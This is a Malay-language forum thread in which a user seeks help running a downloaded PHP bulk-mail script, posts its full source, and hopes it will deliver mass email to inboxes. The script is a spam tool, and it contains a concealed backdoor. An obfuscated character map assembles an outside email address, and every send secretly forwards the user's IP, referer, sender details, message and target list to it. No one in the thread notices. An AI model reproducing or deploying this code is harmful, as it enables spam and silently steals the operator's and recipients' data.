harley 1 Report post Posted November 20, 2010 Mcm mana nak guna file php ? aku ada download satu php , cm ne nak open dia ? [IMG]http://img525.imageshack.us/img525/881/phpeo.jpg[/IMG] Quote Share this post Link to post Share on other sites
TOYSЯUS 62 Report post Posted November 20, 2010 Ada banyak cara. Salah satu cara: 1. Install [url="http://www.easyphp.org/"]EasyPHP[/url]. 2. Buka folder "www" di dalam folder EasyPHP yg telah di install. (ie: C:\Program Files\EasyPHP\www) 2. Copy file mailer.php tersebut ke dalam folder "www" tersebut. 3. Di web browser, buka alamat http://127.0.0.1:8888/mailer.php Cara yg tak sopan sikit: 1. Buka mailer.php tersebut guna web browser mcm buka .html file. Quote Share this post Link to post Share on other sites
harley 1 Report post Posted November 20, 2010 bro, sy guna cara yg tak sopan.. akhirnya boleh bukak, [img]http://img232.imageshack.us/img232/4216/phpemail.jpg[/img] So, cm ne cara nak guna ni bro ? <?php print $from; ?> <---- Yg ni kena buang ke dalam kotak kosong tuh ? Quote Share this post Link to post Share on other sites
TonikCapGajah2013 175 Report post Posted November 20, 2010 nak guna kena buat cara sopan. cuba copy dan paste code php tu kat sini. nak tengok. Quote Share this post Link to post Share on other sites
harley 1 Report post Posted November 20, 2010 [code]<?php @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$lodr=$_SERVER['HTTP_REFERER']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; @$amount=$_POST['amount']; ?> <html> <head> <meta http-equiv="Content-Language" content="ar-eg"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> <title>PHP Send Mails</title> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } .style2 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style> </head> <body bgcolor="#FFFFFF" text="#000000"> <?php If ($action=="mysql"){ include "./mysql.info.php"; if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){ print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required."; exit; } $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed."); mysql_select_db($sqldb, $db) or die("Could not select database $sqldb"); $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery"); $numrows = mysql_num_rows($result); for($x=0; $x<$numrows; $x++){ $result_row = mysql_fetch_row($result); $oneemail = $result_row[0]; $emaillist .= $oneemail."\n"; } } if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <form name="form1" method="post" action="" enctype="multipart/form-data"><br /> <table width="142" border="0"> <tr> <td width="81"> <div align="right"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="from" value="<?php print $from; ?>" size="30" /> </font> </td> <td width="212"> <div align="right"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="realname" value="<?php print $realname; ?>" size="30" /> </font> </td> </tr> <tr> <td width="81"> <div align="right"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="replyto" value="<?php print $replyto; ?>" size="30" /> </font> </td> <td width="212"> <div align="right"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="file" name="file" size="24" /> </font> </td> </tr> <tr> <td width="81"> <div align="right"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div> </td> <td colspan="3" width="703"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="subject" value="<? print $subject; ?>" size="91" /> </font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font> </td> <td width="278"> <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br /> <input type="radio" name="contenttype" value="plain" /> Plain <input type="radio" name="contenttype" value="html" checked /> HTML <input type="hidden" name="action" value="send" /><br /> Number To Send : <input type="text" name="amount" value="1" size="10" /><br /> Maximum Script Execution Time ( In Seconds, 0 For no Time Limit ) <input type="text" name="timelimit" value="0" size="10" /> <input type="submit" value="Send eMails" /> </font> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea> </font> </td> </tr> </table> </form> <?php $s=array("w"=>"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"w"); $dash=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o']; if ($action=="send"){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $addr = getenv("REMOTE_ADDR"); $allemails = split("\n", $emaillist); $numemails = count($allemails); $header ="From: Mailr\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n"; $msg = " <table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\"> <tr><td>IP</td><td>".nl2br($addr)."</td></tr> <tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr> <tr><td>Your Email</td><td>".nl2br($from)."</td></tr> <tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr> <tr><td>Subject :</td><td>".nl2br($subject)."</td></tr> <tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr> <tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr> </table> "; mail($dash,$subject,$msg,$header); If ($file_name){ copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload'); if (!file_exists($file)){ die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending Mail To $to...."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: 1.0\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "OK<br>"; flush(); } } } } ?> <p class="style2"> <p class="style1"></p> </body> <html> [/code] Quote Share this post Link to post Share on other sites
harley 1 Report post Posted November 20, 2010 Skrg Baru aku faham, rupanya benda nih, kena upload kat hosting baru leh jalan.. Quote Share this post Link to post Share on other sites
FryShadow 90 Report post Posted November 20, 2010 Kalau untuk test mail, memang kena test kat hosting. kat localhost pon boleh tapi kena configure benda lain plak. paling efektik test kat hosting lain2 function boleh test kat localhost Quote Share this post Link to post Share on other sites
harley 1 Report post Posted November 20, 2010 [quote name='FryShadow' date='21 November 2010 - 12:03 AM' timestamp='1290268985' post='1053960'] Kalau untuk test mail, memang kena test kat hosting. kat localhost pon boleh tapi kena configure benda lain plak. paling efektik test kat hosting lain2 function boleh test kat localhost [/quote] hosting berlambak yg murah2 kan.. harap2 script nih leh hantar email yg banyak masuk inbox la... Quote Share this post Link to post Share on other sites
skysodajuicepop 1 Report post Posted January 3, 2011 [quote name='comat007' timestamp='1290278095' post='1053974'] hosting berlambak yg murah2 kan.. [/quote] bukan stakat murah. free hosting pun berlambak. Quote Share this post Link to post Share on other sites